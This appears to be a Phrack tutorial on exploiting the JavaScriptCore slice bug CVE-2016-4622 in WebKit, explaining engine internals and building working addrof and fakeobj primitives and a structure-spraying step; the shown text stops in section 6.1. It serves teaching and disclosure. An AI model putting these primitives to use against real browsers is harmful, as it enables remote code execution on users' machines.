Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 16 Issue 70 File 03
==Phrack Inc.==
Volume 0x10, Issue 0x46, Phile #0x03 of 0x0f
|=-----------------------------------------------------------------------=|
|=---------------=[ The Art of Exploitation ]=---------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ Attacking JavaScript Engines ]=-------------------=|
|=--------=[ A case study of JavaScriptCore and CVE-2016-4622 ]=---------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ saelo ]=--------------------------------=|
|=-----------------------=[ phrack@saelo.net ]=--------------------------=|
|=-----------------------------------------------------------------------=|
--[ Table of contents
0 - Introduction
1 - JavaScriptCore overview
1.1 - Values, the VM, and (NaN-)boxing
1.2 - Objects and arrays
1.3 - Functions
2 - The bug
2.1 - The vulnerable code
2.2 - About JavaScript type conversions
2.3 - Exploiting with valueOf
2.4 - Reflecting on the bug
3 - The JavaScriptCore heaps
3.1 - Garbage collector basics
3.2 - Marked space
3.3 - Copied space
4 - Constructing exploit primitives
4.1 - Prerequisites: Int64
4.2 - addrof and fakeobj
4.3 - Plan of exploitation
5 - Understanding the JSObject system
5.1 - Property storage
5.2 - JSObject internals
5.3 - About structures
6 - Exploitation
6.1 - Predicting structure IDs
6.2 - Putting things together: faking a Float64Array
6.3 - Executing shellcode
6.4 - Surviving garbage collection
6.5 - Summary
7 - Abusing the renderer process
7.1 - WebKit process and privilege model
7.2 - The same-origin policy
7.3 - Stealing emails
8 - References
9 - Source code
--[ 0 - Introduction
This article strives to give an introduction to the topic of JavaScript
engine exploitation at the example of a specific vulnerability. The
particular target will be JavaScriptCore, the engine inside WebKit.
The vulnerability in question is CVE-2016-4622 and was discovered by yours
truly in early 2016, then reported as ZDI-16-485 [1]. It allows an attacker
to leak addresses as well as inject fake JavaScript objects into the
engine. Combining these primitives will result in remote code execution
inside the renderer process. The bug was fixed in 650552a. Code snippets in
this article were taken from commit 320b1fc, which was the last vulnerable
revision. The vulnerability was introduced approximately one year earlier
with commit 2fa4973. All exploit code was tested on Safari 9.1.1.
The exploitation of said vulnerability requires knowledge of various engine
internals, which are, however, also quite interesting by themselves. As
such various pieces that are part of a modern JavaScript engine will be
discussed along the way. We will focus on the implementation of
JavaScriptCore, but the concepts will generally be applicable to other
engines as well.
Prior knowledge of the JavaScript language will, for the most part, not be
required.
--[ 1 - JavaScript engine overview
On a high level, a JavaScript engine contains
* a compiler infrastructure, typically including at least one
just-in-time (JIT) compiler
* a virtual machine that operates on JavaScript values
* a runtime that provides a set of builtin objects and functions
We will not be concerned about the inner workings of the compiler
infrastructure too much as they are mostly irrelevant to this specific bug.
For our purposes it suffices to treat the compiler as a black box which
emits bytecode (and potentially native code in the case of a JIT compiler)
from the given source code.
----[ 1.1 - The VM, Values, and NaN-boxing
The virtual machine (VM) typically contains an interpreter which can
directly execute the emitted bytecode. The VM is often implemented as
stack-based machines (in contrast to register-based machines) and thus
operate around a stack of values. The implementation of a specific opcode
handler might then look something like this:
CASE(JSOP_ADD)
{
MutableHandleValue lval = REGS.stackHandleAt(-2);
MutableHandleValue rval = REGS.stackHandleAt(-1);
MutableHandleValue res = REGS.stackHandleAt(-2);
if (!AddOperation(cx, lval, rval, res))
goto error;
REGS.sp--;
}
END_CASE(JSOP_ADD)
Note that this example is actually taken from Firefox' Spidermonkey engine
as JavaScriptCore (from here on abbreviated as JSC) uses an interpreter
that is written in a form of assembly language and thus not quite as
straightforward as the above example. The interested reader can however
find the implementation of JSC's low-level interpreter (llint) in
LowLevelInterpreter64.asm.
Often the first stage JIT compiler (sometimes called baseline JIT) takes
care of removing some of the dispatching overhead of the interpreter while
higher stage JIT compilers perform sophisticated optimizations, similar to
the ahead-of-time compilers we are used to. Optimizing JIT compilers are
typically speculative, meaning they will perform optimizations based on
some speculation, e.g. 'this variable will always contain a number'.
Should the speculation ever turn out to be incorrect, the code will usually
bail out to one of the lower tiers. For more information about the
different execution modes the reader is referred to [2] and [3].
JavaScript is a dynamically typed language. As such, type information is
associated with the (runtime) values rather than (compile-time) variables.
The JavaScript type system [4] defines primitive types (number, string,
boolean, null, undefined, symbol) and objects (including arrays and
functions). In particular, there is no concept of classes in the JavaScript
language as is present in other languages. Instead, JavaScript uses what is
called "prototype-based-inheritance", where each objects has a (possibly
null) reference to a prototype object whose properties it incorporates.
The interested reader is referred to the JavaScript specification [5] for
more information.
All major JavaScript engines represent a value with no more than 8 bytes
for performance reasons (fast copying, fits into a register on 64-bit
architectures). Some engines like Google's v8 use tagged pointers to
represent values. Here the least significant bits indicate whether the
value is a pointer or some form of immediate value. JavaScriptCore (JSC)
and Spidermonkey in Firefox on the other hand use a concept called
NaN-boxing. NaN-boxing makes use of the fact that there exist multiple bit
patterns which all represent NaN, so other values can be encoded in these.
Specifically, every IEEE 754 floating point value with all exponent bits
set, but a fraction not equal to zero represents NaN. For double precision
values [6] this leaves us with 2^51 different bit patterns (ignoring the
sign bit and setting the first fraction bit to one so nullptr can still be
represented). That's enough to encode both 32-bit integers and pointers,
since even on 64-bit platforms only 48 bits are currently used for
addressing.
The scheme used by JSC is nicely explained in JSCJSValue.h, which the
reader is encouraged to read. The relevant part is quoted below as it will
be important later on:
* The top 16-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* \ FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
*
* The scheme we have implemented encodes double precision values by
* performing a 64-bit integer addition of the value 2^48 to the number.
* After this manipulation no encoded double-precision value will begin
* with the pattern 0x0000 or 0xFFFF. Values must be decoded by
* reversing this operation before subsequent floating point operations
* may be performed.
*
* 32-bit signed integers are marked with the 16-bit tag 0xFFFF.
*
* The tag 0x0000 denotes a pointer, or another form of tagged
* immediate. Boolean, null and undefined values are represented by
* specific, invalid pointer values:
*
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02
*
Interestingly, 0x0 is not a valid JSValue and will lead to a crash inside
the engine.
----[ 1.2 - Objects and Arrays
Objects in JavaScript are essentially collections of properties which are
stored as (key, value) pairs. Properties can be accessed either with the
dot operator (foo.bar) or through square brackets (foo['bar']). At least in
theory, values used as keys are converted to strings before performing the
lookup.
Arrays are described by the specification as special ("exotic") objects
whose properties are also called elements if the property name can be
represented by a 32-bit integer [7]. Most engines today extend this notion
to all objects. An array then becomes an object with a special 'length'
property whose value is always equal to the index of the highest element
plus one. The net result of all this is that every object has both
properties, accessed through a string or symbol key, and elements, accessed
through integer indices.
Internally, JSC stores both properties and elements in the same memory
region and stores a pointer to that region in the object itself. This
pointer points to the middle of the region, properties are stored to the
left of it (lower addresses) and elements to the right of it. There is also
a small header located just before the pointed to address that contains
the length of the element vector. This concept is called a "Butterfly"
since the values expand to the left and right, similar to the wings of a
butterfly. Presumably. In the following, we will refer to both the pointer
and the memory region as "Butterfly". In case it is not obvious from the
context, the specific meaning will be noted.
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
Although typical, elements do not have to be stored linearly in memory.
In particular, code such as
a = [];
a[0] = 42;
a[10000] = 42;
will likely lead to an array stored in some kind of sparse mode, which
performs an additional mapping step from the given index to an index into
the backing storage. That way this array does not require 10001 value
slots. Besides the different array storage models, arrays can also store
their data using different representations. For example, an array of 32-bit
integers could be stored in native form to avoid the (NaN-)unboxing and
reboxing process during most operations and save some memory. As such, JSC
defines a set of different indexing types which can be found in
IndexingType.h. The most important ones are:
ArrayWithInt32 = IsArray | Int32Shape;
ArrayWithDouble = IsArray | DoubleShape;
ArrayWithContiguous = IsArray | ContiguousShape;
Here, the last type stores JSValues while the former two store their native
types.
At this point the reader probably wonders how a property lookup is
performed in this model. We will dive into this extensively later on, but
the short version is that a special meta-object, called a "structure" in
JSC, is associated with every object which provides a mapping from property
names to slot numbers.
----[ 1.3 - Functions
Functions are quite important in the JavaScript language. As such they
deserve some discussion on their own.
When executing a function's body, two special variables become available.
One of them, 'arguments' provides access to the arguments (and caller) of
the function, thus enabling the creation of function with a variable number
of arguments. The other, 'this', refers to different objects depending on
the invocation of the function:
* If the function was called as a constructor (using 'new func()'),
then 'this' points to the newly created object. Its prototype has
already been set to the .prototype property of the function object,
which is set to a new object during function definition.
* If the function was called as a method of some object (using
'obj.func()'), then 'this' will point to the reference object.
* Else 'this' simply points to the current global object, as it does
outside of a function as well.
Since functions are first class objects in JavaScript they too can have
properties. We've already seen the .prototype property above. Two other
quite interesting properties of each function (actually of the function
prototype) are the .call and .apply functions, which allow calling the
function with a given 'this' object and arguments. This can for example be
used to implement decorator functionality:
function decorate(func) {
return function() {
for (var i = 0; i < arguments.length; i++) {
// do something with arguments[i]
}
return func.apply(this, arguments);
};
}
This also has some implications on the implementation of JavaScript
functions inside the engine as they cannot make any assumptions about the
value of the reference object which they are called with, as it can be set
to arbitrary values from script. Thus, all internal JavaScript functions
will need to check the type of not only their arguments but also of the
this object.
Internally, the built-in functions and methods [8] are usually implemented
in one of two ways: as native functions in C++ or in JavaScript itself.
Let's look at a simple example of a native function in JSC: the
implementation of Math.pow():
EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec)
{
// ECMA 15.8.2.1.13
double arg = exec->argument(0).toNumber(exec);
double arg2 = exec->argument(1).toNumber(exec);
return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
}
We can see:
1. The signature for native JavaScript functions
2. How arguments are extracted using the argument method (which returns
the undefined value if not enough arguments were provided)
3. How arguments are converted to their required type. There is a set
of conversion rules governing the conversion of e.g. arrays to
numbers which toNumber will make use of. More on these later.
4. How the actual operation is performed on the native data type
5. How the result is returned to the caller. In this case simply by
encoding the resulting native number into a value.
There is another pattern visible here: the core implementation of various
operations (in this case operationMathPow) are moved into separate
functions so they can be called directly from JIT compiled code.
--[ 2 - The bug
The bug in question lies in the implementation of Array.prototype.slice
[9]. The native function arrayProtoFuncSlice, located in
ArrayPrototype.cpp, is invoked whenever the slice method is called in
JavaScript:
var a = [1, 2, 3, 4];
var s = a.slice(1, 3);
// s now contains [2, 3]
The implementation is given below with minor reformatting, some omissions
for readability, and markers for the explanation below. The full
implementation can be found online as well [10].
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
/* [[ 1 ]] */
JSObject* thisObj = exec->thisValue()
.toThis(exec, StrictMode)
.toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());
/* [[ 2 ]] */
unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());
/* [[ 3 ]] */
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end =
argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
/* [[ 4 ]] */
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
if (UNLIKELY(speciesResult.first ==
SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());
/* [[ 5 ]] */
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else
result = constructEmptyArray(exec, nullptr, end - begin);
unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
if (exec->hadException())
return JSValue::encode(jsUndefined());
if (v)
result->putDirectIndex(exec, n, v);
}
setLength(exec, result, n);
return JSValue::encode(result);
}
The code essentially does the following:
1. Obtain the reference object for the method call (this will be the
array object)
2. Retrieve the length of the array
3. Convert the arguments (start and end index) into native integer
types and clamp them to the range [0, length)
4. Check if a species constructor [11] should be used
5. Perform the slicing
The last step is done in one of two ways: if the array is a native array
with dense storage, 'fastSlice' will be used which just memcpy's the values
into the new array using the given index and length. If the fast path is
not possible, a simple loop is used to fetch each element and add it to the
new array. Note that, in contrast to the property accessors used on the
slow path, fastSlice does not perform any additional bounds checking... ;)
Looking at the code, it is easy to assume that the variables 'begin' and
`end` would be smaller than the size of the array after they had been
converted to native integers. However, we can violate that assumption by
(ab)using the JavaScript type conversion rules.
----[ 2.2 - About JavaScript conversion rules
JavaScript is inherently weakly typed, meaning it will happily convert
values of different types into the type that it currently requires.
Consider Math.abs(), which returns the absolute value of the argument. All
of the following are "valid" invocations, meaning they won't raise an
exception:
Math.abs(-42); // argument is a number
// 42
Math.abs("-42"); // argument is a string
// 42
Math.abs([]); // argument is an empty array
// 0
Math.abs(true); // argument is a boolean
// 1
Math.abs({}); // argument is an object
// NaN
In contrast, strongly-typed languages such as python will usually raise an
exception (or, in case of statically-typed languages, issue a compiler
error) if e.g. a string is passed to abs().
The conversion rules for numeric types are described in [12]. The rules
governing the conversion from object types to numbers (and primitive types
in general) are especially interesting. In particular, if the object has a
callable property named "valueOf", this method will be called and the
return value used if it is a primitive value. And thus:
Math.abs({valueOf: function() { return -42; }});
// 42
----[ 2.3 - Exploiting with "valueOf"
In the case of `arrayProtoFuncSlice` the conversion to a primitive type is
performed in argumentClampedIndexFromStartOrEnd. This method also clamps
the arguments to the range [0, length):
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec); // Conversion happens here
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length :
static_cast<unsigned>(indexDouble);
Now, if we modify the length of the array inside a valueOf function of one
of the arguments, then the implementation of slice will continue to use the
previous length, resulting in an out-of-bounds access during the memcpy.
Before doing this however, we have to make sure that the element storage is
actually resized if we shrink the array. For that let's have a quick look
at the implementation of the .length setter. From JSArray::setLength:
unsigned lengthToClear = butterfly->publicLength() - newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength &&
lengthToClear > costToAllocateNewButterfly) {
reallocateAndShrinkButterfly(exec->vm(), newLength);
return true;
}
This code implements a simple heuristic to avoid relocating the array too
often. To force a relocation of our array we will thus need the new size to
be much less then the old size. Resizing from e.g. 100 elements to 0 will
do the trick.
With that, here's how we can exploit Array.prototype.slice:
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]
The correct output would have been an array of size 10 filled with
'undefined' values since the array has been cleared prior to the slice
operation. However, we can see some float values in the array. Seems like
we've read some stuff past the end of the array elements :)
----[ 2.4 - Reflecting on the bug
This particular programming mistake is not new and has been exploited for a
while now [13, 14, 15]. The core problem here is (mutable) state that is
"cached" in a stack frame (in this case the length of the array object) in
combination with various callback mechanisms that can execute user supplied
code further down in the call stack (in this case the "valueOf" method).
With this setting it is quite easy to make false assumptions about the
state of the engine throughout a function. The same kind of problem
appears in the DOM as well due to the various event callbacks.
--[ 3 - The JavaScriptCore heaps
At this point we've read data past our array but don't quite know what we
are accessing there. To understand this, some background knowledge about
the JSC heap allocators is required.
----[ 3.1 - Garbage collector basics
JavaScript is a garbage collected language, meaning the programmer does not
need to care about memory management. Instead, the garbage collector will
collect unreachable objects from time to time.
One approach to garbage collection is reference counting, which is used
extensively in many applications. However, as of today, all major
JavaScript engines instead use a mark and sweep algorithm. Here the
collector regularly scans all alive objects, starting from a set of root
nodes, and afterwards frees all dead objects. The root nodes are usually
pointers located on the stack as well as global objects like the 'window'
object in a web browser context.
There are various distinctions between garbage collection systems. We will
now discuss some key properties of garbage collection systems which should
help the reader understand some of the related code. Readers familiar with
the subject are free to skip to the end of this section.
First off, JSC uses a conservative garbage collector [16]. In essence, this
means that the GC does not keep track of the root nodes itself. Instead,
during GC it will scan the stack for any value that could be a pointer into
the heap and treats those as root nodes. In contrast, e.g. Spidermonkey
uses a precise garbage collector and thus needs to wrap all references to
heap objects on the stack inside a pointer class (Rooted<>) that takes care
of registering the object with the garbage collector.
Next, JSC uses an incremental garbage collector. This kind of garbage
collector performs the marking in several steps and allows the application
to run in between, reducing GC latency. However, this requires some
additional effort to work correctly. Consider the following case:
* the GC runs and visits some object O and all its referenced objects.
It marks them as visited and later pauses so the application can run
again.
* O is modified and a new reference to another Object P is added to it.
* Then the GC runs again but it doesn't know about P. It finishes the
marking phase and frees the memory of P.
To avoid this scenario, so called write barriers are inserted into the
engine. These take care of notifying the garbage collector in such a
scenario. These barriers are implemented in JSC with the WriteBarrier<>
and CopyBarrier<> classes.
Last, JSC uses both, a moving and a non-moving garbage collector. A moving
garbage collector moves live objects to a different location and updates
all pointers to these objects. This optimizes for the case of many dead
objects since there is no runtime overhead for these: instead of adding
them to a free list, the whole memory region is simply declared free. JSC
stores the JavaScript objects itself, together with a few other objects,
inside a non-moving heap, the marked space, while storing the butterflies
and other arrays inside a moving heap, the copied space.
----[ 3.2 - Marked space
The marked space is a collection of memory blocks that keep track of the
allocated cells. In JSC, every object allocated in marked space must
inherit from the JSCell class and thus starts with an eight byte header,
which, among other fields, contains the current cell state as used by the
GC. This field is used by the collector to keep track of the cells that it
has already visited.
There is another thing worth mentioning about the marked space: JSC stores
a MarkedBlock instance at the beginning of each marked block:
inline MarkedBlock* MarkedBlock::blockFor(const void* p)
{
return reinterpret_cast<MarkedBlock*>(
reinterpret_cast<Bits>(p) & blockMask);
}
This instance contains among other things a pointers to the owning Heap
and VM instance which allows the engine to obtain these if they are not
available in the current context. This makes it more difficult to set up
fake objects, as a valid MarkedBlock instance might be required when
performing certain operations. It is thus desirable to create fake objects
inside a valid marked block if possible.
----[ 3.3 - Copied space
The copied space stores memory buffers that are associated with some object
inside the marked space. These are mostly butterflies, but the contents of
typed arrays may also be located here. As such, our out-of-bounds access
happens in this memory region.
The copied space allocator is very simple:
CheckedBoolean CopiedAllocator::tryAllocate(size_t bytes, void** out)
{
ASSERT(is8ByteAligned(reinterpret_cast<void*>(bytes)));
size_t currentRemaining = m_currentRemaining;
if (bytes > currentRemaining)
return false;
currentRemaining -= bytes;
m_currentRemaining = currentRemaining;
*out = m_currentPayloadEnd - currentRemaining - bytes;
ASSERT(is8ByteAligned(*out));
return true;
}
This is essentially a bump allocator: it will simply return the next N
bytes of memory in the current block until the block is completely used.
Thus, it is almost guaranteed that two following allocations will be placed
adjacent to each other in memory (the edge case being that the first fills
up the current block).
This is good news for us. If we allocate two arrays with one element each,
then the two butterflies will be next to each other in virtually every
case.
--[ 4 - Building exploit primitives
While the bug in question looks like an out-of-bound read at first, it is
actually a more powerful primitive as it lets us "inject" JSValues of our
choosing into the newly created JavaScript arrays, and thus into the
engine.
We will now construct two exploit primitives from the given bug, allowing
us to
1. leak the address of an arbitrary JavaScript object and
2. inject a fake JavaScript Object into the engine.
We will call these primitives 'addrof' and 'fakeobj'.
----[ 4.1 Prerequisites: Int64
As we've previously seen, our exploit primitive currently returns floating
point values instead of integers. In fact, at least in theory, all numbers
in JavaScript are 64-bit floating point numbers [17]. In reality, as
already mentioned, most engines have a dedicated 32-bit integer type for
performance reasons, but convert to floating point values when necessary
(i.e. on overflow). It is thus not possible to represent arbitrary 64-bit
integers (and in particular addresses) with primitive numbers in
JavaScript.
As such, a helper module had to be built which allowed storing 64-bit
integer instances. It supports
* Initialization of Int64 instances from different argument types:
strings, numbers and byte arrays.
* Assigning the result of addition and subtraction to an existing
instance through the assignXXX methods. Using these methods avoids
further heap allocations which might be desirable at times.
* Creating new instances that store the result of an addition or
subtraction through the Add and Sub functions.
* Converting between doubles, JSValues and Int64 instances such that
the underlying bit pattern stays the same.
The last point deserves further discussing. As we've seen above, we obtain
a double whose underlying memory interpreted as native integer is our
desired address. We thus need to convert between native doubles and our
integers such that the underlying bits stay the same. asDouble() can be
thought of as running the following C code:
double asDouble(uint64_t num)
{
return *(double*)#
}
The asJSValue method further respects the NaN-boxing procedure and produces
a JSValue with the given bit pattern. The interested reader is referred to
the int64.js file inside the attached source code archive for more
details.
With this out of the way let us get back to building our two exploit
primitives.
----[ 4.2 addrof and fakeobj
Both primitives rely on the fact that JSC stores arrays of doubles in
native representation as opposed to the NaN-boxed representation. This
essentially allows us to write native doubles (indexing type
ArrayWithDoubles) but have the engine treat them as JSValues (indexing type
ArrayWithContiguous) and vice versa.
So, here are the steps required for exploiting the address leak:
1. Create an array of doubles. This will be stored internally as
IndexingType ArrayWithDouble
2. Set up an object with a custom valueOf function which will
2.1 shrink the previously created array
2.2 allocate a new array containing just the object whose address
we wish to know. This array will (most likely) be placed right
behind the new butterfly since it's located in copied space
2.3 return a value larger than the new size of the array to trigger
the bug
3. Call slice() on the target array the object from step 2 as one of
the arguments
We will now find the desired address in the form of a 64-bit floating point
value inside the array. This works because slice() preserves the indexing
type. Our new array will thus treat the data as native doubles as well,
allowing us to leak arbitrary JSValue instances, and thus pointers.
The fakeobj primitive works essentially the other way around. Here we
inject native doubles into an array of JSValues, allowing us to create
JSObject pointers:
1. Create an array of objects. This will be stored internally as
IndexingType ArrayWithContiguous
2. Set up an object with a custom valueOf function which will
2.1 shrink the previously created array
2.2 allocate a new array containing just a double whose bit pattern
matches the address of the JSObject we wish to inject. The
double will be stored in native form since the array's
IndexingType will be ArrayWithDouble
2.3 return a value larger than the new size of the array to trigger
the bug
3. Call slice() on the target array the object from step 2 as one of
the arguments
For completeness, the implementation of both primitives is printed below.
function addrof(object) {
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
var hax = {valueOf: function() {
a.length = 0;
a = [object];
return 4;
}};
var b = a.slice(0, hax);
return Int64.fromDouble(b[3]);
}
function fakeobj(addr) {
var a = [];
for (var i = 0; i < 100; i++)
a.push({}); // Array must be of type ArrayWithContiguous
addr = addr.asDouble();
var hax = {valueOf: function() {
a.length = 0;
a = [addr];
return 4;
}};
return a.slice(0, hax)[3];
}
----[ 4.3 - Plan of exploitation
From here on our goal will be to obtain an arbitrary memory read/write
primitive through a fake JavaScript object. We are faced with the following
questions:
Q1. What kind of object do we want to fake?
Q2. How do we fake such an object?
Q3. Where do we place the faked object so that we know its address?
For a while now, JavaScript engines have supported typed arrays [18], an
efficient and highly optimizable storage for raw binary data. These turn
out to be good candidates for our fake object as they are mutable (in
contrast to JavaScript strings) and thus controlling their data pointer
yields an arbitrary read/write primitive usable from script. Ultimately our
goal will now be to fake a Float64Array instance.
We will now turn to Q2 and Q3, which require another discussion of JSC
internals, namely the JSObject system.
--[ 5 - Understanding the JSObject system
JavaScript objects are implemented in JSC by a combination of C++ classes.
At the center lies the JSObject class which is itself a JSCell (and as such
tracked by the garbage collector). There are various subclasses of JSObject
that loosely resemble different JavaScript objects, such as Arrays
(JSArray), Typed arrays (JSArrayBufferView), or Proxys (JSProxy).
We will now explore the different parts that make up JSObjects inside the
JSC engine.
----[ 5.1 - Property storage
Properties are the most important aspect of JavaScript objects. We have
already seen how properties are stored in the engine: the butterfly. But
that is only half the truth. Besides the butterfly, JSObjects can also have
inline storage (6 slots by default, but subject to runtime analysis),
located right after the object in memory. This can result in a slight
performance gain if no butterfly ever needs to be allocated for an object.
The inline storage is interesting for us since we can leak the address of
an object, and thus know the address of its inline slots. These make up a
good candidate to place our fake object in. As added bonus, going this way
we also avoid any problem that might arise when placing an object outside
of a marked block as previously discussed. This answers Q3.
Let's turn to Q2 now.
----[ 5.2 - JSObject internals
We will start with an example: suppose we run the following piece of JS
code:
obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};
This will result in the following object:
(lldb) x/6gx 0x10cd97c10
0x10cd97c10: 0x0100150000000136 0x0000000000000000
0x10cd97c20: 0xffff000000001337 0x0000000000000006
0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10
The first quadword is the JSCell. The second one the Butterfly pointer,
which is null since all properties are stored inline. Next are the inline
JSValue slots for the four properties: an integer, false, a double, and a
JSObject pointer. If we were to add more properties to the object, a
butterfly would at some point be allocated to store these.
So what does a JSCell contain? JSCell.h reveals:
StructureID m_structureID;
This is the most interesting one, we'll explore it further below.
IndexingType m_indexingType;
We've already seen this before. It indicates the storage mode of
the object's elements.
JSType m_type;
Stores the type of this cell: string, symbol,function,
plain object, ...
TypeInfo::InlineTypeFlags m_flags;
Flags that aren't too important for our purposes. JSTypeInfo.h
contains further information.
CellState m_cellState;
We've also seen this before. It is used by the garbage collector
during collection.
----[ 5.3 - About structures
JSC creates meta-objects which describe the structure, or layout, of a
JavaScript object. These objects represent mappings from property names to
indices into the inline storage or the butterfly (both are treated as
JSValue arrays). In its most basic form, such a structure could be an array
of <property name, slot index> pairs. It could also be implemented as a
linked list or a hash map. Instead of storing a pointer to this structure
in every JSCell instance, the developers instead decided to store a 32-bit
index into a structure table to save some space for the other fields.
So what happens when a new property is added to an object? If this happens
for the first time then a new Structure instance will be allocated,
containing the previous slot indices for all exiting properties and an
additional one for the new property. The property would then be stored at
the corresponding index, possibly requiring a reallocation of the
butterfly. To avoid repeating this process, the resulting Structure
instance can be cached in the previous structure, in a data structure
called "transiton table". The original structure might also be adjusted to
allocate more inline or butterfly storage up front to avoid the
reallocation. This mechanism ultimately makes structures reusable.
Time for an example. Suppose we have the following JavaScript code:
var o = { foo: 42 };
if (someCondition)
o.bar = 43;
else
o.baz = 44;
This would result in the creation of the following three Structure
instances, here shown with the (arbitrary) property name to slot index
mappings:
+-----------------+ +-----------------+
| Structure 1 | +bar | Structure 2 |
| +--------->| |
| foo: 0 | | foo: 0 |
+--------+--------+ | bar: 1 |
| +-----------------+
| +baz +-----------------+
+-------->| Structure 3 |
| |
| foo: 0 |
| baz: 1 |
+-----------------+
Whenever this piece of code was executed again, the correct structure for
the created object would then be easy to find.
Essentially the same concept is used by all major engines today. V8 calls
them maps or hidden classes [19] while Spidermonkey calls them Shapes.
This technique also makes speculative JIT compilers simpler. Assume the
following function:
function foo(a) {
return a.bar + 3;
}
Assume further that we have executed the above function a couple of times
inside the interpreter and now decide to compile it to native code for
better performance. How do we deal with the property lookup? We could
simply jump out to the interpreter to perform the lookup, but that would be
quite expensive. Assuming we've also traced the objects that were given to
foo as arguments and found out they all used the same structure. We can now
generate (pseudo-)assembly code like the following. Here r0 initially
points to the argument object:
mov r1, [r0 + #structure_id_offset];
cmp r1, #structure_id;
jne bailout_to_interpreter;
mov r2, [r0 + #inline_property_offset];
This is just a few instructions slower than a property access in a native
language such as C. Note that the structure ID and property offset are
cached inside the code itself, thus the name for these kind of code
constructs: inline caches.
Besides the property mappings, structures also store a reference to a
ClassInfo instance. This instance contains the name of the class
("Float64Array", "HTMLParagraphElement", ...), which is also accessible
from script via the following slight hack:
Object.prototype.toString.call(object);
// Might print "[object HTMLParagraphElement]"
However, the more important property of the ClassInfo is its MethodTable
reference. A MethodTable contains a set of function pointers, similar to a
vtable in C++. Most of the object related operations [20] as well as some
garbage collection related tasks (visiting all referenced objects for
example) are implemented through methods in the method table. To give an
idea about how the method table is used, the following code snippet from
JSArray.cpp is shown. This function is part of the MethodTable of the
ClassInfo instance for JavaScript arrays and will be called whenever a
property of such an instance is deleted [21] by script
bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,
PropertyName propertyName)
{
JSArray* thisObject = jsCast<JSArray*>(cell);
if (propertyName == exec->propertyNames().length)
return false;
return JSObject::deleteProperty(thisObject, exec, propertyName);
}
As we can see, deleteProperty has a special case for the .length property
of an array (which it won't delete), but otherwise forwards the request to
the parent implementation.
The next diagram summarizes (and slightly simplifies) the relationships
between the different C++ classes that together build up the JSC object
system.
+------------------------------------------+
| Butterfly |
| baz | bar | foo | length: 2 | 42 | 13.37 |
+------------------------------------------+
^
+---------+
+----------+ |
| | |
+--+ JSCell | | +-----------------+
| | | | | |
| +----------+ | | MethodTable |
| /\ | | |
References | || inherits | | Put |
by ID in | +----++----+ | | Get |
structure | | +-----+ | Delete |
table | | JSObject | | VisitChildren |
| | |<----- | ... |
| +----------+ | | |
| /\ | +-----------------+
| || inherits | ^
| +----++----+ | |
| | | | associated |
| | JSArray | | prototype |
| | | | object |
| +----------+ | |
| | |
v | +-------+--------+
+-------------------+ | | ClassInfo |
| Structure +---+ +-->| |
| | | | Name: "Array" |
| property: slot | | | |
| foo : 0 +----------+ +----------------+
| bar : 1 |
| baz : 2 |
| |
+-------------------+
--[ 6 - Exploitation
Now that we know a bit more about the internals of the JSObject class,
let's get back to creating our own Float64Array instance which will provide
us with an arbitrary memory read/write primitive. Clearly, the most
important part will be the structure ID in the JSCell header, as the
associated structure instance is what makes our piece of memory "look like"
a Float64Array to the engine. We thus need to know the ID of a Float64Array
structure in the structure table.
----[ 6.1 - Predicting structure IDs
Unfortunately, structure IDs aren't necessarily static across different
runs as they are allocated at runtime when required. Further, the IDs of
structures created during engine startup are version dependent. As such we
don't know the structure ID of a Float64Array instance and will need to
determine it somehow.
Another slight complication arises since we cannot use arbitrary structure
IDs. This is because there are also structures allocated for other garbage
collected cells that are not JavaScript objects (strings, symbols, regular
expression objects, even structures themselves). Calling any method
referenced by their method table will lead to a crash due to a failed
assertion. These structures are only allocated at engine startup though,
resulting in all of them having fairly low IDs.
To overcome this problem we will make use of a simple spraying approach: we
will spray a few thousand structures that all describe Float64Array
instances, then pick a high initial ID and see if we've hit a correct one.
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
}
We can find out if we've guessed correctly by using 'instanceof'. If we did
not, we simply use the next structure.
while (!(fakearray instanceof Float64Array)) {
// Increment structure ID by one here
}
Instanceof is a fairly safe operation as it will only fetch the structure,
fetch the prototype from that and do a pointer comparison with the given
prototype object.
